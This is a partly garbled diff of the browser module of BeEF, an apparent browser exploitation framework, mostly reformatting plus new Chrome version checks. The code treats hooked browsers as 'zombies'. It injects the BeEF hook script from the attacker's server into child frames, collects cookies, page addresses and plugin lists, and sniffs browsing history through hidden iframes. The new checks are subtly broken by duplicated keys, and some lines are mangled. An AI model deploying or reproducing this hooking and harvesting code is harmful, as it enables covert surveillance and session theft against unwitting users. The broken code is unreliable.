C13:this.isC13(), // Chrome 13 - C14:this.isC14(), // Chrome 14 - C15:this.isC15(), // Chrome 15 - C16:this.isC16(), // Chrome 16 - C17:this.isC17(), // Chrome 17 - C18:this.isC18(), // Chrome 18 - C19:this.isC19(), // Chrome 19 - C19iOS:this.isC19iOS(), // Chrome 19 on iOS - C20:this.isC20(), // Chrome 20 - C20iOS:this.isC20iOS(), // Chrome 20 on iOS - C21:this.isC21(), // Chrome 21 - C21iOS:this.isC21iOS(), // Chrome 21 on iOS - C22:this.isC22(), // Chrome 22 - C22iOS:this.isC22iOS(), // Chrome 22 on iOS - C23:this.isC23(), // Chrome 23 - C23iOS:this.isC23iOS(), // Chrome 23 on iOS - C24:this.isC24(), // Chrome 24 - C24iOS:this.isC24iOS(), // Chrome 24 on iOS - C25:this.isC25(), // Chrome 25 - C25iOS:this.isC25iOS(), // Chrome 25 on iOS - C26:this.isC26(), // Chrome 26 - C26iOS:this.isC26iOS(), // Chrome 26 on iOS - C27:this.isC27(), // Chrome 27 - C27iOS:this.isC27iOS(), // Chrome 27 on iOS - C28:this.isC28(), // Chrome 28 - C28iOS:this.isC28iOS(), // Chrome 28 on iOS - C29:this.isC29(), // Chrome 29 - C29iOS:this.isC29iOS(), // Chrome 29 on iOS - C30:this.isC30(), // Chrome 30 - C30iOS:this.isC30iOS(), // Chrome 30 on iOS - C31:this.isC31(), // Chrome 31 - C31iOS:this.isC31iOS(), // Chrome 31 on iOS - C:this.isC(), // Chrome any version + C5: this.isC5(), // Chrome 5 + C6: this.isC6(), // Chrome 6 + C7: this.isC7(), // Chrome 7 + C8: this.isC8(), // Chrome 8 + C9: this.isC9(), // Chrome 9 + C10: this.isC10(), // Chrome 10 + C11: this.isC11(), // Chrome 11 + C12: this.isC12(), // Chrome 12 + C13: this.isC13(), // Chrome 13 + C14: this.isC14(), // Chrome 14 + C15: this.isC15(), // Chrome 15 + C16: this.isC16(), // Chrome 16 + C17: this.isC17(), // Chrome 17 + C18: this.isC18(), // Chrome 18 + C19: this.isC19(), // Chrome 19 + C19iOS: this.isC19iOS(), // Chrome 19 on iOS + C20: this.isC20(), // Chrome 20 + C20iOS: this.isC20iOS(), // Chrome 20 on iOS + C21: this.isC21(), // Chrome 21 + C21iOS: this.isC21iOS(), // Chrome 21 on iOS + C22: this.isC22(), // Chrome 22 + C22iOS: this.isC22iOS(), // Chrome 22 on iOS + C23: this.isC23(), // Chrome 23 + C23iOS: this.isC23iOS(), // Chrome 23 on iOS + C24: this.isC24(), // Chrome 24 + C24iOS: this.isC24iOS(), // Chrome 24 on iOS + C25: this.isC25(), // Chrome 25 + C25iOS: this.isC25iOS(), // Chrome 25 on iOS + C26: this.isC26(), // Chrome 26 + C26iOS: this.isC26iOS(), // Chrome 26 on iOS + C27: this.isC27(), // Chrome 27 + C27iOS: this.isC27iOS(), // Chrome 27 on iOS + C28: this.isC28(), // Chrome 28 + C28iOS: this.isC28iOS(), // Chrome 28 on iOS + C29: this.isC29(), // Chrome 29 + C29iOS: this.isC29iOS(), // Chrome 29 on iOS + C30: this.isC30(), // Chrome 30 + C30iOS: this.isC30iOS(), // Chrome 30 on iOS + C31: this.isC31(), // Chrome 31 + C31: this.isC32(), // Chrome 32 + C31: this.isC33(), // Chrome 33 + C31iOS: this.isC31iOS(), // Chrome 31 on iOS + C: this.isC(), // Chrome any version - FF2:this.isFF2(), // Firefox 2 - FF3:this.isFF3(), // Firefox 3 - FF3_5:this.isFF3_5(), // Firefox 3.5 - FF3_6:this.isFF3_6(), // Firefox 3.6 - FF4:this.isFF4(), // Firefox 4 - FF5:this.isFF5(), // Firefox 5 - FF6:this.isFF6(), // Firefox 6 - FF7:this.isFF7(), // Firefox 7 - FF8:this.isFF8(), // Firefox 8 - FF9:this.isFF9(), // Firefox 9 - FF10:this.isFF10(), // Firefox 10 - FF11:this.isFF11(), // Firefox 11 - FF12:this.isFF12(), // Firefox 12 - FF13:this.isFF13(), // Firefox 13 - FF14:this.isFF14(), // Firefox 14 - FF15:this.isFF15(), // Firefox 15 - FF16:this.isFF16(), // Firefox 16 - FF17:this.isFF17(), // Firefox 17 - FF18:this.isFF18(), // Firefox 18 - FF19:this.isFF19(), // Firefox 19 - FF20:this.isFF20(), // Firefox 20 - FF21:this.isFF21(), // Firefox 21 - FF22:this.isFF22(), // Firefox 22 - FF23:this.isFF23(), // Firefox 23 - FF24:this.isFF24(), // Firefox 24 - FF25:this.isFF25(), // Firefox 25 - FF26:this.isFF26(), // Firefox 26 - FF26:this.isFF27(), // Firefox 27 - FF: this.isFF(), // Firefox any version + FF2: this.isFF2(), // Firefox 2 + FF3: this.isFF3(), // Firefox 3 + FF3_5: this.isFF3_5(), // Firefox 3.5 + FF3_6: this.isFF3_6(), // Firefox 3.6 + FF4: this.isFF4(), // Firefox 4 + FF5: this.isFF5(), // Firefox 5 + FF6: this.isFF6(), // Firefox 6 + FF7: this.isFF7(), // Firefox 7 + FF8: this.isFF8(), // Firefox 8 + FF9: this.isFF9(), // Firefox 9 + FF10: this.isFF10(), // Firefox 10 + FF11: this.isFF11(), // Firefox 11 + FF12: this.isFF12(), // Firefox 12 + FF13: this.isFF13(), // Firefox 13 + FF14: this.isFF14(), // Firefox 14 + FF15: this.isFF15(), // Firefox 15 + FF16: this.isFF16(), // Firefox 16 + FF17: this.isFF17(), // Firefox 17 + FF18: this.isFF18(), // Firefox 18 + FF19: this.isFF19(), // Firefox 19 + FF20: this.isFF20(), // Firefox 20 + FF21: this.isFF21(), // Firefox 21 + FF22: this.isFF22(), // Firefox 22 + FF23: this.isFF23(), // Firefox 23 + FF24: this.isFF24(), // Firefox 24 + FF25: this.isFF25(), // Firefox 25 + FF26: this.isFF26(), // Firefox 26 + FF26: this.isFF27(), // Firefox 27 + FF: this.isFF(), // Firefox any version - IE6:this.isIE6(), // Internet Explorer 6 - IE7:this.isIE7(), // Internet Explorer 7 - IE8:this.isIE8(), // Internet Explorer 8 - IE9:this.isIE9(), // Internet Explorer 9 - IE10:this.isIE10(), // Internet Explorer 10 - IE11:this.isIE11(), // Internet Explorer 11 - IE:this.isIE(), // Internet Explorer any version + IE6: this.isIE6(), // Internet Explorer 6 + IE7: this.isIE7(), // Internet Explorer 7 + IE8: this.isIE8(), // Internet Explorer 8 + IE9: this.isIE9(), // Internet Explorer 9 + IE10: this.isIE10(), // Internet Explorer 10 + IE11: this.isIE11(), // Internet Explorer 11 + IE: this.isIE(), // Internet Explorer any version - O9_52:this.isO9_52(), // Opera 9.50 through 9.52 - O9_60:this.isO9_60(), // Opera 9.60 through 9.64 - O10:this.isO10(), // Opera 10.xx - O11:this.isO11(), // Opera 11.xx - O12:this.isO12(), // Opera 12.xx - O: this.isO(), // Opera any version + O9_52: this.isO9_52(), // Opera 9.50 through 9.52 + O9_60: this.isO9_60(), // Opera 9.60 through 9.64 + O10: this.isO10(), // Opera 10.xx + O11: this.isO11(), // Opera 11.xx + O12: this.isO12(), // Opera 12.xx + O: this.isO(), // Opera any version - S4:this.isS4(), // Safari 4.xx - S5:this.isS5(), // Safari 5.xx - S6:this.isS6(), // Safari 6.x + S4: this.isS4(), // Safari 4.xx + S5: this.isS5(), // Safari 5.xx + S6: this.isS6(), // Safari 6.x S: this.isS() // Safari any version } }, @@ -842,7 +860,7 @@ beef.browser = { * * @example: beef.browser.getBrowserVersion() */ - getBrowserVersion:function () { + getBrowserVersion: function () { if (this.isC5()) { return '5' @@ -999,7 +1017,15 @@ beef.browser = { if (this.isC31()) { return '31' } - ; // Chrome 31 + ; + if (this.isC32()) { + return '32' + } + ; + if (this.isC33()) { + return '33' + } + ;// Chrome 31 if (this.isC31iOS()) { return '31' } @@ -1185,7 +1211,7 @@ beef.browser = { * * @example: beef.browser.getBrowserName() */ - getBrowserName:function () { + getBrowserName: function () { if (this.isC()) { return 'C' @@ -1214,22 +1240,22 @@ beef.browser = { * Hooks all child frames in the current window * Restricted by same-origin policy */ - hookChildFrames:function () { + hookChildFrames: function () { // create script object - var script = document.createElement('script'); + var script = document.createElement('script'); script.type = 'text/javascript'; - script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>'; + script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>'; // loop through child frames - for (var i=0;i= 0) { - wmp = true; - } + if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) { + wmp = true; + } - } + } - // Internet Explorer - } else { + // Internet Explorer + } else { - try { + try { - var wmp_test = new ActiveXObject('WMPlayer.OCX'); + var wmp_test = new ActiveXObject('WMPlayer.OCX'); - } catch (e) { - beef.debug("Creating WMP ActiveX object failed: "+e.message); - } + } catch (e) { + beef.debug("Creating WMP ActiveX object failed: " + e.message); + } - if (wmp_test) { - wmp = true; - } + if (wmp_test) { + wmp = true; + } - } + } - return wmp; + return wmp; - }, + }, /** * Checks if VLC is installed * @return: {Boolean} true or false **/ - hasVLC:function() { - var vlc = false ; - if(!this.type().IE) { + hasVLC: function () { + var vlc = false; + if (!this.type().IE) { for (i = 0; i < navigator.plugins.length; i++) { if (navigator.plugins[i].name.indexOf("VLC") >= 0) { vlc = true; @@ -1414,9 +1440,9 @@ beef.browser = { } else { try { control = new ActiveXObject("VideoLAN.VLCPlugin.2"); - vlc = true ; - } catch(e) { - beef.debug("Creating VLC ActiveX object failed: "+e.message); + vlc = true; + } catch (e) { + beef.debug("Creating VLC ActiveX object failed: " + e.message); } } return vlc; @@ -1428,14 +1454,14 @@ beef.browser = { * * @example: if(beef.browser.javaEnabled()) { ... } */ - javaEnabled:function () { + javaEnabled: function () { //Use of deployJava defined in deployJava.js (Oracle java deployment toolkit) // versionJRE = deployJava.getJREs(); // if(versionJRE != '') // return true; // else - return false; + return false; }, @@ -1445,9 +1471,9 @@ beef.browser = { * * @example: if(beef.browser.hasPhonegap()) { ... } */ - hasPhonegap:function () { + hasPhonegap: function () { var result = false; - + try { if (!!device.phonegap || !!device.cordova) result = true; else result = false; } @@ -1463,7 +1489,7 @@ beef.browser = { * * @example: if(beef.browser.hasCors()) { ... } */ - hasCors:function () { + hasCors: function () { if ('withCredentials' in new XMLHttpRequest()) return true; else if (typeof XDomainRequest !== "undefined") @@ -1478,7 +1504,7 @@ beef.browser = { * * @example: if(beef.browser.hasJava()) { ... } */ - hasJava:function () { + hasJava: function () { return beef.browser.javaEnabled(); @@ -1490,7 +1516,7 @@ beef.browser = { * * @example: if(beef.browser.hasVBScript()) { ... } */ - hasVBScript:function () { + hasVBScript: function () { if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { return true; } else { @@ -1501,7 +1527,7 @@ beef.browser = { /** * Returns the list of plugins installed in the browser. */ - getPlugins:function () { + getPlugins: function () { var results; Array.prototype.unique = function () { @@ -1536,9 +1562,9 @@ beef.browser = { // On linux sistem the "version" slot is empty so I'll attach "description" after version var plugins = { - 'AdobeAcrobat':{ - 'control':'Adobe Acrobat', - 'return':function (control) { + 'AdobeAcrobat': { + 'control': 'Adobe Acrobat', + 'return': function (control) { try { version = navigator.plugins["Adobe Acrobat"]["description"]; return 'Adobe Acrobat Version ' + version; //+ " description "+ filename; @@ -1549,9 +1575,9 @@ beef.browser = { }}, - 'Flash':{ - 'control':'Shockwave Flash', - 'return':function (control) { + 'Flash': { + 'control': 'Shockwave Flash', + 'return': function (control) { try { version = navigator.plugins["Shockwave Flash"]["description"]; return 'Flash Player Version ' + version; //+ " description "+ filename; @@ -1560,9 +1586,9 @@ beef.browser = { catch (e) { } }}, - 'Google_Talk_Plugin_Accelerator':{ - 'control':'Google Talk Plugin Video Accelerator', - 'return':function (control) { + 'Google_Talk_Plugin_Accelerator': { + 'control': 'Google Talk Plugin Video Accelerator', + 'return': function (control) { try { version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"]; @@ -1571,9 +1597,9 @@ beef.browser = { catch (e) { } }}, - 'Google_Talk_Plugin':{ - 'control':'Google Talk Plugin', - 'return':function (control) { + 'Google_Talk_Plugin': { + 'control': 'Google Talk Plugin', + 'return': function (control) { try { version = navigator.plugins['Google Talk Plugin']["description"]; return 'Google Talk Plugin Version ' + version;// " description "+ filename; @@ -1581,9 +1607,9 @@ beef.browser = { catch (e) { } }}, - 'Facebook_Video_Calling_Plugin':{ - 'control':'Facebook Video Calling Plugin', - 'return':function (control) { + 'Facebook_Video_Calling_Plugin': { + 'control': 'Facebook Video Calling Plugin', + 'return': function (control) { try { version = navigator.plugins["Facebook Video Calling Plugin"]["description"]; return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename; @@ -1591,9 +1617,9 @@ beef.browser = { catch (e) { } }}, - 'Google_Update':{ - 'control':'Google Update', - 'return':function (control) { + 'Google_Update': { + 'control': 'Google Update', + 'return': function (control) { try { version = navigator.plugins["Google Update"]["description"]; return 'Google Update Version ' + version//+ " description "+ filename; @@ -1601,9 +1627,9 @@ beef.browser = { catch (e) { } }}, - 'Windows_Activation_Technologies':{ - 'control':'Windows Activation Technologies', - 'return':function (control) { + 'Windows_Activation_Technologies': { + 'control': 'Windows Activation Technologies', + 'return': function (control) { try { version = navigator.plugins["Windows Activation Technologies"]["description"]; return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename; @@ -1612,9 +1638,9 @@ beef.browser = { } }}, - 'VLC_Web_Plugin':{ - 'control':'VLC Web Plugin', - 'return':function (control) { + 'VLC_Web_Plugin': { + 'control': 'VLC Web Plugin', + 'return': function (control) { try { version = navigator.plugins["VLC Web Plugin"]["description"]; return 'VLC Web Plugin Version ' + version;//+ " description "+ filename; @@ -1622,10 +1648,10 @@ beef.browser = { catch (e) { } }}, - 'Google_Earth_Plugin':{ - 'control':'Google Earth Plugin', + 'Google_Earth_Plugin': { + 'control': 'Google Earth Plugin', - 'return':function (control) { + 'return': function (control) { try { version = navigator.plugins['Google Earth Plugin']["description"]; return 'Google Earth Plugin Version ' + version;//+ " description "+ filename; @@ -1633,9 +1659,9 @@ beef.browser = { catch (e) { } }}, - 'Silverlight_Plug-In':{ - 'control':'Silverlight Plug-In', - 'return':function (control) { + 'Silverlight_Plug-In': { + 'control': 'Silverlight Plug-In', + 'return': function (control) { try { version = navigator.plugins['Silverlight Plug-In']["description"]; return 'Silverlight Plug-In Version ' + version;//+ " description "+ filename; @@ -1643,9 +1669,9 @@ beef.browser = { catch (e) { } }}, - 'FoxitReader_Plugin':{ - 'control':'FoxitReader Plugin', - 'return':function (control) { + 'FoxitReader_Plugin': { + 'control': 'FoxitReader Plugin', + 'return': function (control) { try { version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version']; return 'FoxitReader Plugin Version ' + version; @@ -1678,53 +1704,53 @@ beef.browser = { * Returns a list of plugins detected by IE. This is a hack because IE doesn't * support navigator.plugins */ - getPluginsIE:function () { + getPluginsIE: function () { var results = ''; - var plugins = {'AdobePDF6':{ - 'control':'PDF.PdfCtrl', - 'return':function (control) { + var plugins = {'AdobePDF6': { + 'control': 'PDF.PdfCtrl', + 'return': function (control) { version = control.getVersions().split(','); version = version[0].split('='); return 'Acrobat Reader v' + parseFloat(version[1]); }}, - 'AdobePDF7':{ - 'control':'AcroPDF.PDF', - 'return':function (control) { + 'AdobePDF7': { + 'control': 'AcroPDF.PDF', + 'return': function (control) { version = control.getVersions().split(','); version = version[0].split('='); return 'Acrobat Reader v' + parseFloat(version[1]); }}, - 'Flash':{ - 'control':'ShockwaveFlash.ShockwaveFlash', - 'return':function (control) { + 'Flash': { + 'control': 'ShockwaveFlash.ShockwaveFlash', + 'return': function (control) { version = control.getVariable('$version').substring(4); return 'Flash Player v' + version.replace(/,/g, "."); }}, - 'Quicktime':{ - 'control':'QuickTime.QuickTime', - 'return':function (control) { + 'Quicktime': { + 'control': 'QuickTime.QuickTime', + 'return': function (control) { return 'QuickTime Player'; }}, - 'RealPlayer':{ - 'control':'RealPlayer', - 'return':function (control) { + 'RealPlayer': { + 'control': 'RealPlayer', + 'return': function (control) { version = control.getVersionInfo(); return 'RealPlayer v' + parseFloat(version); }}, - 'Shockwave':{ - 'control':'SWCtl.SWCtl', - 'return':function (control) { + 'Shockwave': { + 'control': 'SWCtl.SWCtl', + 'return': function (control) { version = control.ShockwaveVersion('').split('r'); return 'Shockwave v' + parseFloat(version[0]); }}, - 'WindowsMediaPlayer':{ - 'control':'WMPlayer.OCX', - 'return':function (control) { + 'WindowsMediaPlayer': { + 'control': 'WMPlayer.OCX', + 'return': function (control) { return 'Windows Media Player v' + parseFloat(control.versionInfo); }}, - 'FoxitReaderPlugin':{ - 'control':'FoxitReader.FoxitReaderCtl.1', - 'return':function (control) { + 'FoxitReaderPlugin': { + 'control': 'FoxitReader.FoxitReaderCtl.1', + 'return': function (control) { return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo); }} }; @@ -1751,11 +1777,11 @@ beef.browser = { /** * Returns zombie screen size and color depth. */ - getScreenSize:function () { + getScreenSize: function () { return { - width:window.screen.width, - height:window.screen.height, - colordepth:window.screen.colorDepth + width: window.screen.width, + height: window.screen.height, + colordepth: window.screen.colorDepth } }, @@ -1763,7 +1789,7 @@ beef.browser = { * Returns zombie browser window size. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow */ - getWindowSize:function () { + getWindowSize: function () { var myWidth = 0, myHeight = 0; if (typeof( window.innerWidth ) == 'number') { // Non-IE @@ -1779,57 +1805,57 @@ beef.browser = { myHeight = document.body.clientHeight; } return { - width:myWidth, - height:myHeight + width: myWidth, + height: myHeight } }, /** * Construct hash from browser details. This function is used to grab the browser details during the hooking process */ - getDetails:function () { + getDetails: function () { var details = new Array(); - var browser_name = beef.browser.getBrowserName(); - var browser_version = beef.browser.getBrowserVersion(); + var browser_name = beef.browser.getBrowserName(); + var browser_version = beef.browser.getBrowserVersion(); var browser_reported_name = beef.browser.getBrowserReportedName(); - var page_title = (document.title) ? document.title : "Unknown"; - var page_uri = (document.location.href) ? document.location.href : "Unknown"; - var page_referrer = (document.referrer) ? document.referrer : "Unknown"; - var hostname = (document.location.hostname) ? document.location.hostname : "Unknown"; - var hostport = (document.location.port) ? document.location.port : "80"; - var browser_plugins = beef.browser.getPlugins(); - var date_stamp = new Date().toString(); - var os_name = beef.os.getName(); - var hw_name = beef.hardware.getName(); - var cpu_type = beef.hardware.cpuType(); - var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No"; + var page_title = (document.title) ? document.title : "Unknown"; + var page_uri = (document.location.href) ? document.location.href : "Unknown"; + var page_referrer = (document.referrer) ? document.referrer : "Unknown"; + var hostname = (document.location.hostname) ? document.location.hostname : "Unknown"; + var hostport = (document.location.port) ? document.location.port : "80"; + var browser_plugins = beef.browser.getPlugins(); + var date_stamp = new Date().toString(); + var os_name = beef.os.getName(); + var hw_name = beef.hardware.getName(); + var cpu_type = beef.hardware.cpuType(); + var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No"; var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null; var browser_type = JSON.stringify(beef.browser.type(), function (key, value) { if (value == true) return value; else if (typeof value == 'object') return value; else return; }); - var screen_size = beef.browser.getScreenSize(); - var window_size = beef.browser.getWindowSize(); - var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No"; - var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No"; - var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No"; - var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No"; - var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No"; - var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No"; - var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No"; - var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No"; - var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No"; - var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No"; - var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No"; - var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No"; - try{ + var screen_size = beef.browser.getScreenSize(); + var window_size = beef.browser.getWindowSize(); + var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No"; + var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No"; + var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No"; + var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No"; + var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No"; + var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No"; + var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No"; + var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No"; + var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No"; + var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No"; + var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No"; + var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No"; + try { var cookies = document.cookie; var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No"; var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No"; if (cookies) details['Cookies'] = cookies; if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies; if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies; - }catch(e){ + } catch (e) { // the hooked domain is using HttpOnly. EverCookie is persisting the BeEF hook in a different way, // and there is no reason to read cookies at this point details['Cookies'] = "Cookies can't be read. The hooked domain is most probably using HttpOnly."; @@ -1874,21 +1900,21 @@ beef.browser = { /** * Returns boolean value depending on whether the browser supports ActiveX */ - hasActiveX:function () { + hasActiveX: function () { return !!window.ActiveXObject; }, /** * Returns boolean value depending on whether the browser supports WebRTC */ - hasWebRTC:function () { + hasWebRTC: function () { return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection); }, /** * Returns boolean value depending on whether the browser supports Silverlight */ - hasSilverlight:function () { + hasSilverlight: function () { var result = false; try { @@ -1908,7 +1934,7 @@ beef.browser = { /** * Returns array of results, whether or not the target zombie has visited the specified URL */ - hasVisited:function (urls) { + hasVisited: function (urls) { var results = new Array(); var iframe = beef.dom.createInvisibleIframe(); var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document; @@ -1929,7 +1955,7 @@ beef.browser = { if (width == '0px') { success = true; } - results.push({'url':u, 'visited':success}); + results.push({'url': u, 'visited': success}); count++; } } @@ -1945,7 +1971,7 @@ beef.browser = { * @return: {Boolean} true or false. * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket * */ - hasWebSocket:function () { + hasWebSocket: function () { return !!window.WebSocket || !!window.MozWebSocket; }, @@ -1955,7 +1981,7 @@ beef.browser = { * * @from: https://code.google.com/apis/gears/gears_init.js * */ - hasGoogleGears:function () { + hasGoogleGears: function () { var ggfactory = null; @@ -1996,7 +2022,7 @@ beef.browser = { * * @example: if(beef.browser.hasFoxit()) { ... } * */ - hasFoxit:function () { + hasFoxit: function () { var foxitplugin = false; @@ -2016,32 +2042,32 @@ beef.browser = { /** * Returns the page head HTML - **/ - getPageHead:function () { - var html_head; - try { - html_head = document.head.innerHTML.toString(); - } catch (e) { - } - return html_head; + **/ + getPageHead: function () { + var html_head; + try { + html_head = document.head.innerHTML.toString(); + } catch (e) { + } + return html_head; }, /** * Returns the page body HTML **/ - getPageBody:function() { - var html_body; - try { - html_body = document.body.innerHTML.toString(); - } catch (e) { - } - return html_body; + getPageBody: function () { + var html_body; + try { + html_body = document.body.innerHTML.toString(); + } catch (e) { + } + return html_body; }, /** * Dynamically changes the favicon: works in Firefox, Chrome and Opera **/ - changeFavicon:function (favicon_url) { + changeFavicon: function (favicon_url) { var iframe = null; if (this.isC()) { iframe = document.createElement('iframe'); @@ -2062,7 +2088,7 @@ beef.browser = { /** * Changes page title **/ - changePageTitle:function (title) { + changePageTitle: function (title) { document.title = title; }, @@ -2082,7 +2108,7 @@ beef.browser = { * }); * */ - getMaxConnections:function (scope) { + getMaxConnections: function (scope) { var imagesCount = 30; // Max number of images to test var secondsTimeout = 5; // Image load timeout threashold @@ -2105,14 +2131,14 @@ beef.browser = { // Asynchronously request image. testImages[i] = $j.ajax({ - type:"get", - dataType:true, - url:(testUrl.replace("", i)) + Math.random(), - data:"", - timeout:(secondsTimeout * 1000), + type: "get", + dataType: true, + url: (testUrl.replace("", i)) + Math.random(), + data: "", + timeout: (secondsTimeout * 1000), // Function on completion of request. - complete:function (jqXHR, textStatus) { + complete: function (jqXHR, textStatus) { imagesRequested++;